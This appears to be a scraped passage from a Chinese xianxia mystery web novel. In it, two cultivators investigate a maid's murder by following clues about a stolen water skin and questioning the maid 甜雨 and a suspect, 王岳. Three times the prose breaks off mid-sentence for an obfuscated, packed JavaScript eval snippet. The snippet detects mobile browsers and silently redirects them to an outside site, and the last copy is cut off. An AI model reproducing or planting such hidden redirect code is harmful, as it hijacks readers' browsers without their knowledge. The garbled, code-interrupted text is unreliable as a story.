“你是说……他其实还有修为!进了树林就立刻迷晕香雪,然后将她带去破屋杀死,再只身返回马场?如果是修士还真有可能!” 隐藏修为……原来还可以这样?西九岭再次佩服这姑娘的思路清奇,但转念一想自己就在隐藏修为,忍不住偷偷瞄向身边人,见她只是专心分析案情才松了口气,“他应该不是修士,因为如果能用法术就不需要迷药了。” 对哦,使用法术还难以被仵作发现……苏晴沄歪头看他,“那你说的障眼法是什么?” 西九岭边想边道:“或许他回马场先做了准备,然后避开警戒、绕路去了破屋,这样一来也可以解释为什么辰时才动手杀人。” 苏晴沄顺着他的思路想了一下,觉得这个推测很合理,只是水囊和木柴的问题依旧无法解释。 两人边说边走,不多时便来到了一条繁华街道。本该洋溢着买卖之声的街道此时却充满交头接耳的议论,驻足的行人三五成群对着一间商户指指点点。 只看了一眼,西、苏二人就明白为何会出现这样的情况了。 装潢考究的皮具店前站了好几个官差,有的在警戒秩序,有的进店查看,有的则在盘问店主和伙计。 盘查似乎已经进行了一段时间,这会儿那伙计正跪在地上喊着:“谢谢青天大老爷,总算还了小人清白!” 店主则悻悻然站在一旁,别过头去不看伙计。 而站在伙计面前接受感恩的人他们碰巧认得,就是昨天廷尉程久带进公主府的那名助手,两人还记得程久管他叫袁二。 西、苏二人绕开围观行人走到近前,在负责警戒的官差身前止步。然后苏晴沄踮起脚尖挥着手招呼:“袁道友!”她不知道对方的官职,却能看出是个炼气修士。 袁二平日里鲜少被人称作道友,一时间没反应过来,待叫到第三声才转头看过来,见是他们便露出了惊讶之色,但转瞬就收起了情绪,大步走过来向警戒的人摆了摆手。 负责警戒的官差很有眼力,立刻往前走了几步,让进西、苏二人的同时也拓宽了警戒范围,给三人留出了说话的空间。 袁二这才行礼道:“两位前辈有礼了。” 苏晴沄明白对方这是跟着自己行了修士间的礼数,既然被叫做前辈,她索性倚老卖老、直截了当问道:“你们在查水囊的出处?” 袁二明显怔了一下,然后眼皮低垂,似乎是在考虑如何回答。 苏晴沄见状笑道:“你们廷尉一心想找出带走蓝莲花的人,现场留下了不是被害人的水囊,他怎么可能放过?看这场面,该不会水囊就是那家店的吧?” 听她猜得七七八八,袁二叹了口气,说道:“两位前辈既然已经猜到,那我也就没什么好瞒的了,只是事关案情,还请两位前辈千万保密。” 接着,他开始讲述调查的经过。 确如二人猜测,廷尉程久将大量人力投入在调查水囊来源上面。今天一早袁二就带着一众官差对全城的皮具店和杂货店进行盘查,最终在这家店里找到了与现场一样的水囊。 据店主说,这是他从东南边境新进的货,整个皓城都找不出重样的。可当他们照例询问购买者信息时,却被告知水囊前日才摆上货架,目前还没人买过。 既然从未卖出过,那把水囊带到凶案现场的就只能是店里的人。就在他们准备把店主和伙计都带走的时候,那伙计说出了一个关键信息——水囊丢了一个。 “丢了一个?”苏、西二人异口同声,都感到有些意外。 袁二点了点头,继续道:“说是店主昨晚盘货时发现少了一个水囊,今早就骂了伙计,说他看店不上心、让人偷了东西,要扣他工钱。我们详细一问才知道,这店主每晚都会盘货,所以前晚盘货还在的水囊昨晚盘货却没了,就理所应当认为是昨天白天丢的。可实际上水囊在昨日辰时就已经落在凶案现场了,所以应该是前晚盘点后到昨日凌晨期间被偷的。” 袁二说完又笑道:“那伙计听说不用被扣工钱,可是对我们千恩万谢呢。”见两人若有所思,他状似不经意地话锋一转,“两位前辈也是来调查的?” 苏晴沄有些犹豫该不该礼尚往来,暗示廷尉衙门去查查王岳。 西九岭却直接开口:“我们刚去过回雁塔,”一句话就定了观光的调子,“本来也想体验一下公主青睐的跑马场,可一早去了才知道不是随便能进的。” 半真半假的话最难听出破绽,袁二丝毫没有怀疑,眼中的警惕也少了许多,笑说西郊马场是皇家的,就连他也没进去过,还推荐了几个景点给二人。 待走出这条街,苏晴沄才问道:“不跟他们交换情报?” 西九岭没有直接回答,反问她:“水囊被偷的事情你怎么看?” 苏晴沄想了想,说道:“既然是前天夜里才偷的水囊,那就说明杀害香雪是临时起意。但我想不通他为什么要特意进城去偷,马场难道还找不出个水囊吗?” “偷来的水囊与自己毫无关联,店家也无法指认,最利于隐藏踪迹,这是天神教的一贯作风。” “但王岳能翻得过皓城的城墙吗?他不是修为被废了吗?” “训练有素的士兵也能够利用绳索攀爬城墙。” “所以他如此大费周章就是为了掩盖踪迹……而杀死香雪也是因为香雪已经暴露,他要执行天神教的……啊!”苏晴沄猛地睁大了眼睛,“该不会马场深处藏着他们分殿的高层,他见完香雪回去汇报了情况,结果得到指令,这才临时决定杀死香雪!” 如此一来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077207|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀人动机也有了。 “这样确实能够说通。”西九岭有些佩服,而且原本以为水囊只是偶然遗落的他,如今也不得不承认水囊的出现是凶手特意为之。 “好了,”苏晴沄歪头看他,“我的看法说完了。现在轮到你了,为什么不跟廷尉衙门做交易?他们找起来或许更快呢?” 西九岭停下脚步回视她,“既然你也认为王岳是天神教的人,那你觉得他真如自己所说回老家了吗?” “当然不。”跟领导请假的时候怎么可能说实话?苏晴沄下意识说出自己的看法,然后看到对方眼中的笑意,恍然间若有所悟,“如果廷尉衙门去查,肯定会按官方程序去王岳老家找人,如此一来反而浪费时间和人力?” “这只是一方面。”西九岭的神情渐渐凝重,“我更担心廷尉衙门动静太大、打草惊蛇,万一天神教再将王岳这条线索斩断,咱们就更难了。” 苏晴沄想了想,不得不承认确实有这种可能。王岳这种修为尽散的人只怕教中地位不会太高,变成跟香雪一样的下场也不奇怪,“就咱们两个,要怎么找出王岳的下落?” “你还记得柳城分殿被破获的情景吗?” “记得啊。” “该分殿总共四十五人,除了卢严在济水意外身死,其余人全部留在了柳城,你不觉得奇怪吗?” “你是说……没人逃跑?” “不错。刘大发出讯号后过了一日咱们才开始搜捕,可整个分殿没有一个人外逃。” 苏晴沄本想说或许没来得及,但紧接着又将话咽了回去。抓人的时候她也在场,那些人全都照常就寝,根本没有准备外逃的迹象。 西九岭继续道:“我怀疑天神教内有相关的规定,分殿出事只能原地潜伏,以免将风险外引。” 一个人暴露就断尾一个人,一分殿暴露就断尾一分殿吗?苏晴沄觉得这天神教实在很有邪教风范,“所以王岳就藏在皓城?” “也可能是辖县或附近的山林,总归不会跑得太远。” 凡人藏身不可能不漏踪迹,因为必须吃喝,于是两人决定向城内买吃食的店铺和摊贩打听情报。 但皓城毕竟王都,地方实在不小。两人分头打听了半日,直到傍晚汇合也不过才走完了三条街。 等吃过晚饭回到驿站已是深夜,驿丞似乎一直在等,见二人进门就立刻迎了上来,将一个木盒和一张请柬交到二人手中。 木盒是穹山送来的,使用独门手法打开后现出一个玉瓶,旁边的字条说明瓶中是温秋水仿制的天神教药粉,暂时只有这些;请柬则是飞云子白天送来的,邀二人明日去飞云宗做客。 苏晴沄先是赞叹了穹山的效率,紧接着又看了眼请柬,戏谑道:“我家可没黄金柿回请,就不去凑热闹了。” 西九岭略一思索,将请柬收入了袖中,“那我一个人去。” 苏晴沄面露诧异,当务之急不是找出王岳的行踪吗?拜访宗门着什么急? 似乎是看出了她的疑惑,西九岭解释道:“王岳可能是杀害香雪的凶手,也可能是天神教的信徒,但绝不可能是昨晚引我出城的人。而飞云子,却是个元婴。” 苏晴沄了然颔首,“那就分头行动,你查黑衣人,我查王岳。” “你打算继续沿街排查?” “不,我准备去趟公主府。” “找甜雨?” “嗯。昨日她话中有所隐瞒,当时咱们还不知道问话的方向,如今有了王岳这条线索,我觉得可以试试。” 西九岭认同她的想法,但有个问题:“你打算怎么进公主府?” 苏晴沄看向他,随着唇角一同弯起的眼中闪过一抹狡黠,“就说是王岳托我给甜雨带句话。” 36. 甜雨的供述 皇宫北侧门为铜质、长方形,是宫内侍从日常出入的宫门。而此时,甜雨却站在门口跟里面的人说着什么。然后宫门掩上,甜雨则站在原地、面色焦急。又过了一阵,宫门再次打开,有人将甜雨领了进去。 苏晴沄借着树木的遮挡将一切尽收眼底,只觉得如坠云雾。 她本打算借着王岳的名头引出甜雨,不料走到公主府临街的时候却看到了甜雨的身形出现在了府院角门,先是开了条门缝探出头来张望,然后又鬼鬼祟祟走了出来。 省了叫门的麻烦自然是好,可甜雨那幅低头急行的模样实在令人起疑。于是苏晴沄没有立刻现身,而是悄悄跟在了甜雨后边,就这样一路跟到了皇宫。 甜雨一个去皇宫做什么?这一刻她脑中闪过的是各种宫斗剧情节,难道甜雨是凌王安插在女儿身边的特务? 过了将近一个时辰甜雨才从宫门走出来,苏晴沄怕皇宫中有人盯着,于是继续跟在她后面,准备回到公主府之后再现身。 谁知走回来时却看到公主府的门大开着,平乐公主正在两名丫鬟的搀扶下登车,平乐公主又是去哪儿? 她正想着,就见走在前面的甜雨猛地闪身藏入了小巷——这家伙竟然是背着公主入宫的。 直到平乐公主的车队路过他们向北远去,甜雨才终于从小巷中走了出来,没想到的是,一出来就迎面撞上了苏晴沄。她一脸震惊地看着苏晴沄,似乎是在说:你怎么敢拦我?! “可否占用姑娘一些时间?”苏晴沄言辞客气,眼神却意味深长。 “我还有事。”甜雨的神色已经由震惊转为冷淡,她可是公主府的大丫鬟,不是谁都能拦的。 苏晴沄向左半步挡住她试图绕行的路线,勾唇笑道:“那我只好将姑娘去皇宫的事情告诉平乐公主了。” 甜雨瞪大了眼睛,竟然公然威胁她,怎么会有这么无耻的人?!而且……“你怎么知道……你跟踪我?!” 苏晴沄无所谓地耸耸肩,那又如何? 要不是公主府大丫鬟的身份压在肩头,甜雨简直想要骂街。但毕竟被人抓住了把柄,最终也只能沉着脸问道:“你想干什么?” “没什么,只是有些事情想向你请教。”苏晴沄左右看了看,指着路边的一个茶摊道,“换个地方说吧?” 街道上行人往来,站在这儿说话确实太过引人注意,因此甜雨接受了她的提议。 直到茶水上桌,甜雨的脸色也没有转好,看着苏晴沄端起茶碗她也只是默然静坐,丝毫没有喝茶的打算,似乎是想表明自己不打算久坐的态度。 “你想问什么?”看着对面的人慢条斯理喝茶,甜雨愈加心浮气躁。 苏晴沄不疾不徐地放下茶碗,慢悠悠开口:“前日你说上月初七香雪从马场回来的当晚有些反常,但什么都没跟你说。其实并非如此吧?” 甜雨别开视线,嘴硬道:“就是那样,我没有说谎。” “前半句应该不假,但后半句……我想香雪应该是说了什么吧?又或者是你察觉到了什么?总之,对于她反常的原因你并非一无所知,对吧?” 面对她的追问,甜雨只是坚决否认,“我什么都不知道。” 苏晴沄挺直了脊背,盯着她的眼睛一字一句道:“如果知道什么还请你讲出来,因为香雪不是自杀的,她是被人杀死的!” 甜雨的身子微微一震,盯着她问道:“你听谁说的?” 看着她的眼睛,苏晴沄心底浮起奇怪的感觉,那神情与其说是怀疑不如说是想求证,“廷尉衙门的消息。” 甜雨张了张嘴却没有说话,片刻后微垂眼帘如自语般呢喃道:“香雪,是自杀的……” “香雪那晚究竟为何反常?请你一定要说出来,那很可能跟香雪被杀的原因有关!” 甜雨指尖微颤地探向茶碗,然后猛地端起来咕咚咚饮尽了里面的茶,才终于解除了喉咙干涩般开口问道:“知道香雪说了什么就能查出是谁杀了她吗?” 太好了,是香雪自己说过一些话,这要比旁人的猜测可靠多了! 苏晴沄忍住急切的心情,郑重道:“未必能立刻知道凶手是谁,但肯定会成为推断凶手的重要佐证!” 似乎是被她认真的态度打动了,甜雨终于开口讲出了那晚的事情。 “那天从马场回来后香雪就有些魂不守舍,晚上也没吃什么东西,我有些担心就去看她。结果她突然拉着我的手问‘如果小将军回来,公主是不是就不会跟飞云子一起了’,我当时吓了一跳。要知道小将军可是公主的忌讳,这话要是被公主听到了只怕要将我们全都杖毙的!我赶紧让她禁声,又开门确认了屋外没人才算放心。 我跟她说这话我不会告诉别人,叫她以后不要再说了。况且小将军已经走了,如今公主跟宗主在一起不是挺开心的么?我们这些做下人的应该为主子高兴才是,无端生事只怕害了主子也害了自己。” “香雪什么反应?” “她点了点头,说是自己太累说了胡话,叫我别太在意。” “那之后呢?她又跟其他人说起过吗?” “我不知道她有没有跟其他人说过,但没再跟我提过这事。只是从那日起她就有些低落,有次我们一起陪公主去飞云宗,我无意间看到她对着悬崖发呆,真担心她突然跑过去跳崖,还好她只是站着没有动。” “你问她原因了吗?” 甜雨露出后悔的神情,“我怕她又说那种奇怪的话,就没有问。” 苏晴沄犹豫了一下,还是确认道:“公主当年是喜欢小将军唐昊的吗?” 甜雨显得左右为难,一方面觉得不该传主子的闲话,一方面又希望找出杀害香雪的凶手,开口时有些言辞闪烁:“我进府伺候公主的时候小将军已经离开皓城了,不过嬷嬷严令我们不许提小将军,府中也有些传闻……” 苏晴沄心领神会,平乐公主曾与唐昊发生过情感纠葛,这多半是真的。她想了想,又问:“王岳这个名字,你听过吗?” 甜雨猛地双眼圆睁,表情比听到香雪是被人杀害时还要震惊,答案显而易见。 “你听过。是香雪跟你说的?” 甜雨回过神来,用力摇头,“不是,香雪没跟我提过这人,是这人自己来找我的。” 这次换苏晴沄惊讶了,“王岳来找你?” “嗯。就是他让我去皇宫的。” 苏晴沄内心的惊讶更甚了,“他叫你去皇宫做什么?你又为什么要听他的?”他可是杀死你同事的第一嫌疑人啊! “昨天门房跟我说有个人自称是我远房表哥的人来投亲,还带了封信。我本来是不信的,就算真是哪个远房亲戚来了,我也不想见。可既然有信,我就拆开来看了。谁知道信上只写了一行字:香雪是被人杀死的。” 原来是王岳跟她说过香雪并非自杀,怪不得她之前会有那样的反应,苏晴沄如是想。 甜雨继续道:“我当时又惊又俱,连忙去见来人。那人戴着毡帽、还留着络腮胡,看不清长相。他自称王岳,是香雪的好友,知道我跟香雪交好。我问他是什么时候认识香雪的,他说自己是当年小将军的亲随,这几年因为种种原因与香雪断了联系,前一阵才意外重逢。 我想着小将军是公主忌讳,香雪没跟我说过有这么个朋友也很正常,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095947|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他为何说香雪是被人所杀。 结果他说香雪逃出城后找过他,说自己被飞云子陷害了、请他帮忙。又说他帮香雪找了个藏身之处,说好每日会送吃食过去,让香雪在那里藏身,他去调查飞云子,没想到第二天中午去送饭过去的时候发现香雪死了。还说、还说他怀疑是飞云子杀了香雪,要去调查。” 苏晴沄瞠目结舌,没想到竟然从甜雨口中听到了第一嫌疑人的证词,而且开头部分跟他们调查的结果一致,只是后面与他们的推论截然不同,“你相信了?” 甜雨再次用力摇头,“怎么可能!宗主对公主那么好,为什么要杀公主的丫鬟?如果真是宗主干的,那也是、也是……”她抿了抿唇,终是没说出口。 但苏晴沄已经听明白了,如果飞云子杀了香雪,那肯定是公主授意的。君让臣死臣不得不死,如果是这样香雪死了也是应该。“可你还是按他的要求去了皇宫?” “因为他说不信他没关系,但无论如何也要保证公主的安危,万一是飞云子有什么图谋,将来说不定会害了公主。还给了我一封信,让我交给凌王,说是凌王看了自然会有定夺。我想着公主的安危最为重要,以防万一总没有错,于是就带着信去见了凌王身边的姑姑……” “那个姑姑把信收了?” 甜雨嗯了一声,然后脱力般垂下了头,似乎说完这些已经用尽了她一生的力气。 北境的春风已经带上了温润暖意,官道左右的林木也发出鲜绿的嫩芽,期间零星点缀着金黄色的花朵,娇嫩而玲珑。 可走在路上的苏晴沄却没有心情欣赏风景,直到向西下了官道,她都在思索方才跟甜雨的对话。 王岳对甜雨说的那些话有几分是真的呢?或许除了香雪去找过他这件事,其余都是假的。 可是如果甜雨没有说谎,那么香雪死前应该是希望公主跟唐昊复合的。而从公主将唐昊视为忌讳这点看来,当年应该是唐昊对不起公主,即便这样香雪依然认为唐昊比飞云子好,为什么? 更重要的是,如此一来飞云子就有了杀人动机,王岳的话无疑是逻辑自洽的。 而且按王岳的说法,他跟香雪不久前才意外重逢,这也能跟香雪上月初七的异常行为对上。或许就是因为见到了王岳才想起了唐昊,所以说出了那样的话…… 只是有一点,飞云子有不在场证明。香雪死的时候他正在五里以外的城内优哉游哉地吃面,而自己就是目击证人。 还有一点也令她无法释怀。王岳为什么要冒险去见甜雨?甚至还给凌王写了信?他敢欺骗冰帝吗?化神一怒他承受得起吗? 她越想越觉得云山雾罩,不知不觉已经来到了飞云山下。 想弄清真相就必须找到王岳。而王岳对甜雨说要调查飞云子,如果这是真话,那他很可能会来飞云山。 令她意外的是,山脚下正停着公主的车架,原来平乐公主是要去飞云宗。更令她意外的是,此刻的平乐公主刚刚换了步撵、开始登山。自己跟甜雨聊了半天居然还能跟车队赶个前后脚,这皇家出行果然突出一个慢字! 索性她本就认为王岳不可能走正面的山路上去,所以直接避开公主的车队绕道了山背面。 想确认王岳在不在山上,最快的办法就是用神识查探。可惜这里还在冰帝的绝对领域,而金丹级别的神识范围有限,需要多次查探才能搜完整座山。 先在地面选了几个中心点进行探查,然后飞身而上,选择更高的中心点继续搜索。如此几番之后,她终于找到了王岳的踪迹——这家伙正在峭壁上攀岩——身上只绑着一条麻绳! 好吧,他确实能翻过城墙! 37. 他杀了香雪 飞云山的后山几乎都是陡峭的岩壁,独自攀登十分困难。看王岳如今已经超过半山腰的高度,苏晴沄觉得他应该是昨天跟甜雨分开之后就来爬了,那背在身后的包裹里很可能有过夜用的毯子。 这般毅力足以显示他调查飞云子的决心,难道他说的是真的?杀害香雪的是飞云子?可如此一来不在场证明该怎么解释?莫非飞云子是指使某个弟子去杀的人? 她没有继续想下去,因为峭壁即将到达尽头。淡云散雾之后依稀可见零星屋舍,赫然已是此行的终点——飞云宗。 而在到达终点之前,靠右丈许的崖壁上竟然有个山洞。洞口边缘的积雪比山上其他地方少了许多,仿佛定期有人打扫。 秘密洞窟? 想着,她就看见王岳的攀爬路线开始向右偏移,显然也看到了那个山洞。 虽然只有丈余远,但途中缺少落脚点,移动十分吃力。到了只差一步的地方,王岳试了几个位置都难以着力,最终就视线移向了一截探出崖壁的树枝。 虽然已是初春,但这里依旧寒冷如冬,冰晶将枝丫连成了一片,宽度足够一只脚踏上。王岳深吸了口气一步跃出,借着结冰的树枝向上一蹬,右手抓住了洞口的边缘。掉落的雪渣洒在他扬起的脸上,他却连眼睛也没眨一下,继续用力攀上了另一只手,然后腰背用力、手向上一撑,翻进了山洞。 而那个被他蹬过的树枝上已经没有了冰晶,碎裂的冰渣掉下山下,只留下树枝晃了几晃、回归静默。 看到这一幕的苏晴沄脑中电光火石。木柴、水渍、水囊……她感觉答案已经呼之欲出,只是还有些事情必须确认。 王岳坐在洞口喘了半天粗气才爬起来。 山洞的入口十分宽敞,并排站下四个人没有问题,里面黑暗无光、不知深浅。他迈步往里走去,但很快就感受到了一种无形的阻力,仿佛撞上了一道看不见的墙,无法前进半分。 他伸手摸索了一番,面色渐渐发白。曾经有着金丹修为,自然明白自己遇到了什么,可费劲千辛万苦才走到了这里,如今只差一步…… 想到这里,他猛然拔出腰间的短刀,愤怒地向前砍去。巨大的反作用力将他的身体弹开,短刀脱手的同时人也跌倒在了洞口边缘。 愤怒、懊恼、悲伤、不甘,纷杂的情绪一齐涌向心头,最终化为了一声咆哮。 宣泄过后,颓然之感席卷而上,就在他茫然不知所措的时候,身后传来了一个女人的声音。 “想进去吗?” 军人的习惯令王岳浑身骤然紧绷,他飞身扑向短刀掉落的位置,抄起兵器转身面向洞口。 眼前是一个绝美的女子。没有凌王的冷傲,没有平乐的娇柔,却独具一种洒脱不羁的风采。虽然身穿素裙,却有着难以遮掩华贵的气度,直觉的告诉他这女子必定出身不凡。可他并不记得凌国有这样一号人物,因此握着刀柄的手更紧了几分。 苏晴沄却只是淡淡地笑着,开口说道:“我可以帮你。” ————————峭壁尽头的分隔线———————— 飞云宗占地面积不大,大殿、讲堂、丹房、炼器室、藏书阁都是独栋建筑,没有穹山那般琼楼玉宇的建筑群体,看起来确实有些落魄。 或许是弟子数量不多的缘故,弟子房也只有十来间,都挤在一个院落,紧挨着食堂。 沿着小径绕到后山,穿过一道天然形成的石门便有一座院落映入眼帘。庭院中即无假山流水、也无花圃池塘,只正中间立着一棵高大的松树,推测树龄应是建宗前便在这里的。四间木屋错落在小院后方,再往后则是悬崖。这便是飞云子的洞府了。 “是不是有些寒酸?”飞云子面朝欠缺布置的庭院挠着头,显得有些不好意思。说是游览宗门,结果不到半天就走了个遍,似乎有些招待不周。 看到他这种模样,西九岭心底不禁画起了问号:那晚的黑衣人会是他吗? 不久前他已经旁敲侧击地问过飞云子前天晚上的不在场证明,得知他当晚在自己的洞府炼丹,也有张可和其他几位弟子作证。但除了张可以外的人都只看到了丹房里亮着烛火,而张可是飞云子的大弟子,甚至被委以代理宗门的重任,为了敬爱的师尊做伪证也不是不可能。 他一边在心中梳理思绪,一边微笑着回道:“修士之途最忌分心,我倒觉得贵宗简单朴实的氛围很是不错。”然后他将视线转向院中央的大树,“而且这里的景致依托地利,也应了天人合一之理,别有一番妙趣。” 巨大的树冠上枝丫繁盛,每根枝丫都包裹着透明的冰晶,满树银装在阳光下晶莹剔透,如仙境画面美不胜收,这样的景象他之前从未见过,确实是真心觉得天然鬼斧更胜能工巧匠。 “这是雾凇,”飞云子露出欣喜的笑容,似乎是很高兴见到客人喜欢这个,“这山上寒冷、湿气又重,常有这种景象,不过再有半个月就见不到了。” 西九岭微微点头,果然是地利造就的景观。 就在这时,张可的声音从院外传来:“公主!公主您等等!” 紧接着是平乐公主略显骄横的声音:“飞云子,我问你……” 说到一半,院门口就出现了平乐公主的身影,同时她也发现了院中不止飞云子一人,到了嘴边的话立刻咽了回去。 张可从后面急急追上来,“公主,师尊正在会客呢。” 平乐公主双颊微红紧咬下唇,含着怒气瞪了西九岭一眼,显然对他的存在很是不满。 西九岭别开了视线,假装没有看到。 终于来到飞云子的洞府,他还想进去看看有没有线索呢。更何况平乐公主本人也与蓝莲花深度相关,有机会试探自然不能放过。 问题是怎么在一对情侣打算进行私人对话的时候强行留下来? 但很快他就发现自己的担心是多余的,因为飞云子一脸开心地对公主说道:“这会儿来了正好一起用膳。我让厨房准备了特色菜肴招待齐道友,有你最爱的五彩鹿筋汤。” 平乐公主横了他一眼,嗔道:“为别人准备的,何故给我吃?” 飞云子仿佛没听出她话中的埋怨,接着说道:“去书房吧,那里你的风景你最喜欢。”说着扭头看向张可,“让厨房送过来吧。” 张可如蒙大赦般退出了院子。 平乐公主则气鼓鼓地盯着飞云子。 “怎么了?”飞云子依旧笑得没心没肺,然后似乎想到了什么,“你要不要先去更衣?” 被他这么一问,平乐公主面颊涨得更红,狠狠瞪了眼西九岭,跺脚道:“不用!”说完便朝着院里的木屋走去。 西九岭心中叫屈,他也没想到飞云子会当众问一位女子要不要如厕,结果问的人没怎样,听的人却被怨恨了,这叫什么事儿? 飞云子笑着跟了上去,还不忘回头招呼他,那神情轻松自在,就仿佛所有人的情绪都无法影响他的开心。 很快,西九岭就明白了为何说平乐公主最喜欢书房的风景。 书房是最靠近悬崖的一间木屋,室内摆设极为简单,但正因如此也显得格外宽敞,而靠近悬崖的一面并非墙壁、而是两扇拉门。坐在房中打开拉门便可将悬崖峭壁尽收眼底,云雾飘摇间颇有种雄踞巅峰、俯瞰山川的感觉。 似乎因为平乐公主是凡人之躯,张可最先安排送来的是几盆炭火,而跟在公主身边的丫鬟也奉上了手炉。 西九岭留意到今日的两个丫鬟中没有甜雨,想来“酒夕”那边的调查能够顺利。 菜肴很快被端上来,两个丫鬟也退了出去。屋内三人开始享用午膳,但只有飞云子乐在其中,一边向西九岭介绍美食,一边给平乐公主布菜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113625|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闲谈几句之后,西九岭突然看向平乐公主,装作突然想起什么似的开口说道:“对了,香雪姑娘是被人杀害的,公主还不知道吧?” 原本一直没有看他的公主猛然抬起了眼,惊疑不定地问道:“真的是自杀?” 见她这般反应,西九岭继续试探:“公主已经知道了?” “只是听到些风声。”她故作镇定地扬了扬下巴,“你倒说说,怎么又不是自杀了?” 一旁的飞云子也露出疑惑的表情,“她不是吊死的吗?难道还能有人逼着她上吊?” 西九岭没理会他们的问题,只问平乐公主:“什么风声?” 平乐公主气得瞪起了眼睛,可想到对方是穹山的人,拿出母亲的名号只怕也不能让他开口,只得忍着怒气道:“府中总管的侄子在廷尉府当差,不过详情他也不知道,只说好像是被人杀害的。” “公主是何时听说此事的?” 平乐公主简直要气炸了,怎么问题没完没了?可她实在太想知道答案,只能忍着气道:“今早。” “如此说来,公主一得到消息就来了这里,为什么?”想确认消息不是该去廷尉府吗? 飞云子笑道:“齐道友不知,公主这是来我这儿习惯了,每次出事都是这样。” 他笑的人畜无害,可平乐公主却仿佛突然想到了什么,面色变得难看起来,将身子往外挪了挪拉开两人之间的距离,声音也更加紧张起来:“你先告诉我,香雪真是被人杀死的吗,有什么证据吗?” 西九岭的视线在两人脸上转了一圈,淡淡开口:“香雪的尸体中验出了迷药成分,她是被人迷晕后吊到房梁上的。” 一瞬间,平乐公主脸上彻底失去了血色,她扭头惊恐地看向飞云子,颤巍巍问道:“为什么?” 飞云子抬手挠了挠头,一副迷迷糊糊的样子,“我怎么知道?” “那晚你不是跟着香雪的吗?为什么她会被人下药?” 西九岭大惊,飞云子那晚跟着香雪,这是怎么回事?“那晚跟香雪一起的不是王岳吗?” 他突然插进这么一句,平乐公主满脸疑惑地脱口问道:“王岳是谁?” 飞云子却突然收起了迷糊的神情,视线开始在西九岭和平乐公主身上来回移动。 西九岭缓缓起身,盯着飞云子道:“那晚香雪去马场见了一名叫王岳的牧尉,你如果跟着她应该知道吧?” 平乐公主猛地弹了起来,一边往西九岭那边靠,一边颤声质问:“这事我怎么不知道?你不是说香雪一个人躲去了郊外吗?” 看平乐公主的反应似乎那晚飞云子是真的跟着香雪的,那她对凌王说自己第二天一早发现香雪失踪就是假的,为什么? 西九岭正要理顺思绪,就见平乐公主猛地跑过来藏在了自己身后,纤纤玉指揪着他的后襟微微发抖。 “是他杀了香雪!我之前不想给你们蓝莲花,所以那晚让香雪演一出监守自盗的戏码,飞云子则暗中护卫她寻找落脚点,现在香雪死了,肯定是飞云子起了贪念,杀死香雪、偷走了那一整朵蓝莲花!” 不可能!听到最后西九岭猛然惊觉——平乐公主在说谎!那一整朵蓝莲花早就给魏宁服下了! 可在他有所反应之前,一张符纸已经塞进了他的腰间,下一瞬灵光骤起,他只觉眼前一花、脚下突然落空,身体直直向下坠去。身边的平乐公主和对面的飞云子都已不知去向,视线中只有屋顶上原木打造的平棊,那是跟书房截然不同的样式…… 书房内,平乐公主看向地面,原本站着西九岭的地方此刻只躺着一个贴了移形换影符的木刻人偶。 她缓缓抬起头看向对面,“这样便可以了吧?” 飞云子弯起唇角,笑容中却没有平日里的没心没肺。那是一个富有雄心的笑,沉稳自信、壮志凌云。 38. 秘洞 “帮忙?”王岳一脸警惕地看着眼前的女子。 山风吹进洞内呜呜作响,冷冽的感觉比爬山时更甚几分,那女子身上没有半点皮草御寒却泰然自若,而且还能在自己毫无察觉的情况下尾随至此。他很清楚,修为尽废的自己在对方面前毫无胜算,但心中的自尊又不允许他放下武器。 苏晴沄看着一脸戒备的王岳,此时的他没有戴毡帽,一条丑陋的刀疤从前额越过鼻梁一直划到嘴边、没入浓密的胡须,整张面孔如割开一般分裂。但两道剑眉锐气飞扬,一双星眸熠熠生辉,只看眼眉算是个俊朗的青年。 风声有些吵,于是她轻轻挥手在洞口覆上一层灵璧,让自己的声音更清晰地传入对方耳中:“如果你能解答我的疑问。” 看到对方露出这么一手,王岳的心底已经凉透,他稳了稳心神,问道:“什么疑问?” “关于香雪的死。” “是陛下派你来的?!” “为什么这么猜?” “廷尉衙门里能做到你刚才那一手的只有程久,飞云子的人不会问我这样的问题,那么就只有陛下了……” “哦,”苏晴沄露出玩味一笑,“我还以为是因为你让甜雨给凌王送了信。” 王岳瞳孔一缩,对方连着也知道了吗? “我可不是一无所知,所以你回答问题的时候最好想清楚。”不要轻易说谎哦,苏晴沄微微一笑,“当然,我也确实不是飞云宗或廷尉衙门的人,凌王嘛,见过一次,算是跟她一头儿吧。” 王岳面颊的肌肉一抽,跟凌王一头儿是个什么身份?可他如今也没有其他选择,只得收起了匕首道:“你问吧。” “你在马场做牧尉,名叫王岳,对吧?” “是。” “香雪是你杀的吗?” “当然不是!”王岳一脸震惊,“你怀疑我?” 